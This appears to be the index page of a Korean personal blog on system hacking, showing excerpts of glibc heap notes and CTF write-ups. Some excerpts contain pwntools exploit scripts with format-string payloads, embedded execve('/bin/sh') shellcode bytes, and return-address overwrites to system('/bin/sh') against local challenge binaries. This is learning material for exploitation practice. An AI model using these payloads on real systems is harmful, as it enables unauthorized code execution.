시스템 해킹100 malloc free 실습 fastbin unsortbin 정리! Bin1: Unsorted bin FIFOBin2~Bin63: Small bin =512바이트 : 특정 bin에 존재하는 chunk들의 사이즈가 다름! Double Linked List fastbin: bins for size 2018. 2. 16. Fast bin Fast bin 크기가 16~80 바이트인 chunk를 fast chunk라고 한다. fast chunk들을 담고 있는 bin이 fast bin->single linked list 해제된 chunk가 인접해도 병합되지 않는다! LIFO형태로 동작 모든 bin중에서 할당/해제 속도가 제일 빠르다 갯수:10개 chunk size: 8바이트 간격(16,24,32,....80) 2018. 2. 16. Top Chunk Top Chunk 각 arena에서 최상위 경계에 존재하는 chunk 어떠한 bin에도 속하지 않고, heap영역의 마지막에 속함 다른 freed chunk들이 메모리 할당 요청을 만족하지 못할 경우에만 top chunk를 분할하여 요청을 처리함. 이때 2개로 나뉨 -User chunk(요청한 크기만큼), Remainder chunk(할당하고 남은 크기)->top chunk가 됨 현재 top chunk 크기로도 처리할 수 없는 경우 sbrk(main arena) 혹은 mmap(thread arena)함수를 통해 heap영역을 확장하여 top chunk크기를 늘린 후 처리함 2018. 2. 16. Unsorted bin Unsorted Bin 모든 chunk들은 free되면 처음엔 unsorted bin에 추가됨 최근에 free된 chunk들을 재사용할 수 있도록 하기 위함(cache같은거) FIFO 형태로 동작하며 검색된 chunk는 바로 재할당되거나 원래의 bin으로 돌아가게 됨단 한번의 재사용 기회가 주어짐 double linked list이로써 메모리 할당/해제 과정에서 속도를 조금이나마 향상시킴 개수 1개chunk size: 크기 제한 없음, 어느 크기의 chunk든지 가능 2018. 2. 16. 힙 참고자료https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/http://tribal1012.tistory.com/78 HEAP이란 무엇일까? 스택 메모리는 함수 내에 선언된 지역 변수, 필요한 공간의 크기를 컴파일 시에 확정한다.함수 호출시 그에 해당하는 지역변수를 위한 공간을 확보하며 함수의 실행이 끝나게 되면 지역변수의 공간을 자동으로 해제하게 된다! 힙메모리의 경우 프로그램 실행 중 필요에 의한 동적 메모리 할당을 위한 공간 힙 영역은 컴파일러가 예측할 수 없는 프로그래머가 관리하는 영역! memory allocator에는 여러 종류.. 2018. 2. 15. First-PIE가 걸려 코드영역 주소도 바뀐경우->vsyscall이용 First- PIE가 걸려 있다 이 문제는 쉘을 따는게 아니라 플래그를 읽어오는것이고, 플래그 읽어오는 부위가 코드 영역에 있으며, 버퍼 오버플로우로 return address를 원하는 주소로 덮을 수 있지만, 문제는 PIE가 걸려있어서 주소가 랜덤으로 바뀐다는 것이다. vsyscall의 픽스된 주소를 이용할 것이며, 주소가 랜덤으로 바뀌기는 하지만 뒤 12비트는 고정됨을 이용할 것이다! Position Independent Executable 위치독립실행파일->바이너리 전체의 주소가 랜덤 코드 영역의 주소도 바뀐다. But,vsyscall부분의 영역은 주소 고정! 여기에 있는 ret을 사용한다. But,0x400쪽 불러오지 않으면 커널이 잡아낸다! 그니까 0x600409인 ret부분을 바로 불러오는게 .. 2018. 1. 25. ebp-쉘코드, fake ebp, $를 이용한 fsb, fgets의 stdin망가뜨려 while문 벗어나기 from pwn import *import time s=process('./ebp')#raw_input()s.send("%134520971c"+"%4$n"+"\x93\xa0\x04\x08"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\n")s.send("%4c"+"%16$n"+"\n") //fgets의 stdin망가뜨려 while문 벗어나기s.interactive()s.close() [김희연] [오전 3:25] 그래서 %4$n하면[김희연] [오전 3:25] 0xffffd148d안에[김희연] [오전 3:25] 들어있는값이[김희연] [오전 3:25] 조작되자나[김희연.. 2018. 1. 23. what-fsb $를 이용한 libc릭, 스택주소릭, fini array를 메인으로 %2$x %264$x를 해서 스택주소와 libc주소릭을 한다.fini_array부분은 write권한이 있으므로, 이 부분을 메인으로 고쳐 메인으로 돌린다.fsb를 이용하여 return address부분을 system주소로, return address+8부분을 /bin/sh주소로! from pwn import *import time s=process('./what')#print(s.recv(1024))#raw_input()payload=p32(0x080496dc)payload+="%2$x"payload+="%264$x"payload+="%33927c"payload+="%7$hn"s.send(payload+"\n")a=s.recv(1024)[0x1a:0x2a]libc=int(a[0:8],16)system=l.. 2018. 1. 23. contact-공백이용해서 ret덮어버리는 문제 이번이 3번째 도전하는 문제였지만, 결국 또 못풀고 답을 봐버렸다ㅜ익스는 매우 간단! 9시간동안 왜 이걸 생각 못헀는지 모르겠다. fsb처럼 보이지만, %와 n을 동시에 쓰지 못하는 문제!그리고, sprintf가 두 번 일어나서, %%를 해야, 두번째 sprintf에서 %가 제대로 박힌다.첫번쨰 sprintf를 이용해서 공백을 이용해서 ret을 덮은거 까지는 생각했으나, 이상하게 1000을 넘는 수가 들어가면이상한 값이 들어갔다!!답을 보니 두번째 sprintf를 이용했다.%1288c(쉘주소)를 하면 1287자리가 공백으로 채워지고, printf("%1288c","%")로 인식!그리고, 그 다음 4바이트에 ret을 덮을 쉘주소가 덮어진다. from pwn import *import times=proces.. 2018. 1. 11. 이전 1 2 3 4 5 6 ··· 12 다음